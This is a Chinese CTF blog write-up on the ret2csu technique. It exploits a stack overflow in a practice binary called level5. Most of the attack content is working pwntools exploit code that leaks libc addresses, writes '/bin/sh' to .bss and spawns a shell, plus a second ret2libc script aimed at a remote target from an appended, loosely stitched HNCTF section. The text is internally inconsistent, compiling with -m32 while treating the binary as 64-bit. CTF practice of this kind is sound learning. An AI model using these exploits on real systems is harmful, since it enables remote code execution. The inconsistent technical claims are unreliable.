wikiCTF-pwn-ret2csu

ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
也就是通用gadgets
ret2csu—通用gadgets
复现level5

编译
gcc -m32 -fno-stack-protector -z execstack -o level5 level5.c

-m32意思是编译为32位的程序
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

在这里插入图片描述

首先是栈溢出漏洞,其次,由于是64位程序,所以需要控制gadgets,
这里使用的是通用gadgets
也就是ret2csu

利用过程:

  • 第一通过栈溢出 泄露write的got
    然后就是通过libc中的偏移
    计算出system的got
print("##### get write_addr #####")
payload1 = 'a'*0x88
payload1 += p64(csu_pop_addr)
payload1 += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload1 += p64(csu_mov_addr)

payload1 += 'a'*0x38
payload1 += p64(func_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
write_addr = u64(p.recvn(8))
print(hex(write_addr))

system_addr = write_addr - offset_addr
bin_sh = write_addr - bin_sh_addr
print(hex(system_addr)+","+hex(bin_sh))

这里一个是可以用Libcsearcher库找libc文件
另一个就是通过ldd查看二进制文件的libc文件
ldd level5
在这里插入图片描述

  • 第二个payload就需要写入system的地址和‘/bin/sh’字符串
    因为在csu中,system的参数是由edi传入的
    只能传入4字节地址
    但是实际使用时rdi,8字节
    这里向bss写入则是因为bss的地址长度就是4字节长度
    在这里插入图片描述

payload2

print('##### load bin_sh to bss ')
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(read_got)+p64(16)+p64(bss_addr)+p64(0)
payload2 += p64(csu_mov_addr)

payload2 += 'a'*0x38
payload2 += p64(func_addr)
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\0")
  • 最后就是获取shell了
print("##### get--shell #####")
payload3 = 'a'*0x88
payload3 += p64(csu_pop_addr)
payload3 += p64(0)+p64(0)+p64(bss_addr)+p64(0)+p64(0)+p64(bss_addr+8)
payload3 += p64(csu_mov_addr)

完整exp

from pwn import *

elf = ELF("level5")
libc = ELF("libc.so.6")

p = process("./level5")

##### address #####
csu_pop_addr = 0x40061a
csu_mov_addr = 0x400600
bss_addr = elf.bss()
func_addr = elf.symbols['vulnerable_function']
offset_addr = libc.symbols['write'] - libc.symbols['system']
bin_sh_addr = libc.symbols['write'] - libc.search('/bin/sh').next()
write_got = elf.got["write"]
read_got = elf.got['read']
##### payload1 #####
print("##### get write_addr #####")
payload1 = 'a'*0x88
payload1 += p64(csu_pop_addr)
payload1 += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload1 += p64(csu_mov_addr)

payload1 += 'a'*0x38
payload1 += p64(func_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
write_addr = u64(p.recvn(8))
print(hex(write_addr))

system_addr = write_addr - offset_addr
bin_sh = write_addr - bin_sh_addr
print(hex(system_addr)+","+hex(bin_sh))

##### payload2 #####

"""

print("##### get--shell #####")
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(system_addr)+p64(0)+p64(0)+p64(bin_sh)
payload2 += p64(csu_mov_addr)

payload2 += 'a'*0x38
payload2 += p64(func_addr)
raw_input()
p.send(payload2)

"""
##### this is wrong payload2,bin_sh is 8bytes,but edi is 4bytes so must to move to bss(4bytes address)

print('##### load bin_sh to bss ')
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(read_got)+p64(16)+p64(bss_addr)+p64(0)
payload2 += p64(csu_mov_addr)

payload2 += 'a'*0x38
payload2 += p64(func_addr)
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\0")

##### payload3 #####
print("##### get--shell #####")
payload3 = 'a'*0x88
payload3 += p64(csu_pop_addr)
payload3 += p64(0)+p64(0)+p64(bss_addr)+p64(0)+p64(0)+p64(bss_addr+8)
payload3 += p64(csu_mov_addr)
#raw_input()
p.send(payload3)
p.interactive()

结果
本地打通了 远程倒还没试(没搭过QAQ)
在这里插入图片描述
结束~

### HNCTF 2022 WEEK2 ret2csu Challenge Solution #### 利用ret2csu技术实现漏洞利用 在处理`HNCTF 2022 WEEK2`的`ret2csu`挑战时,目标是通过控制程序流来调用特定函数并最终执行任意命令。此方法依赖于对`.text`段内存在的gadget链的应用以及对动态链接过程的理解。 为了完成这一攻击向量,首先需要找到合适的gadgets用于操控寄存器状态,并且能够触发`__libc_csu_init()`函数内的逻辑路径,该部分代码负责初始化全局构造器数组,在某些情况下可用于间接调用其他库函数如`write()`或`read()`等[^4]。 具体来说: - 使用`pwndbg cyclic`工具生成模式字符串并向服务端发送以定位崩溃发生的确切位置;之后借助`pattern offset`确定偏移值以便后续操作。 - 构造payload时应考虑如何填充堆栈帧使得当返回至`__libc_csu_init`时能正确设置参数传递给想要调用的目标函数(比如`puts@plt`),进而泄漏出关键内存地址信息(例如`got.plt`表项)。这些数据对于计算实际加载基址至关重要,因为它们允许我们推断出整个共享对象映射范围的位置。 - 接下来就是准备第二个阶段的有效载荷——通常是一串精心设计过的字节序列,它会被解释成机器指令从而绕过保护机制达成目的。这里可以通过泄露得到的信息调整base指针指向所需功能入口处(像`system()`)再配合伪造参数列表达到远程代码执行的效果。 ```python from pwn import * context.arch = 'amd64' elf = ELF('./vuln') io = remote('target_ip', port) # 泄露 libc 地址 rop = ROP(elf) pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload_leak = flat({ offset: [ pop_rdi_ret, puts_got, puts_plt, main_function_address # 返回到main或其他安全地方继续运行 ] }) io.sendlineafter(prompt, payload_leak) leaked_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'Leaked puts address: {hex(leaked_puts)}') # 计算 system 和 binsh 的真实地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_str = next(libc.search(b'/bin/sh\x00')) + libc_base # 准备 final payload 执行 /bin/sh final_payload = flat({ offset: [ pop_rdi_ret, bin_sh_str, system_addr ] }) io.sendline(final_payload) io.interactive() ``` 上述脚本展示了如何构建一个完整的exploit流程,包括但不限于发现溢出点、获取必要的库版本细节、解析符号表条目直至最后成功获得shell访问权限[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值